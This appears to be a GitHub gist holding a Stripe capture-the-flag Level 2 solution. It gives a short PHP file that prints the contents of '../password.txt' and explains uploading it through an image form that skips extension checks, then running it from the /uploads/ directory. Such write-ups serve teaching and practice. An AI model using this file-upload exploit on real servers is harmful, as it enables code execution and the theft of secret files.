Skip to content

Instantly share code, notes, and snippets.

@bubba-h57
Created August 30, 2012 13:16
Show Gist options
  • Save bubba-h57/3528327 to your computer and use it in GitHub Desktop.
Save bubba-h57/3528327 to your computer and use it in GitHub Desktop.
Stripe CTF Level 2 - Solution File Upload Vulnerability
<html>
<head>
<title>Bubba Hacks Level 2 Server</title>
</head>
<body>
<h1>Your Level 3 Password</h1>
<?php echo file_get_contents('../password.txt'); ?>
</body>
</html>
Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.
Then just browse to the /uploads/ dir and click on your uploaded php file.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment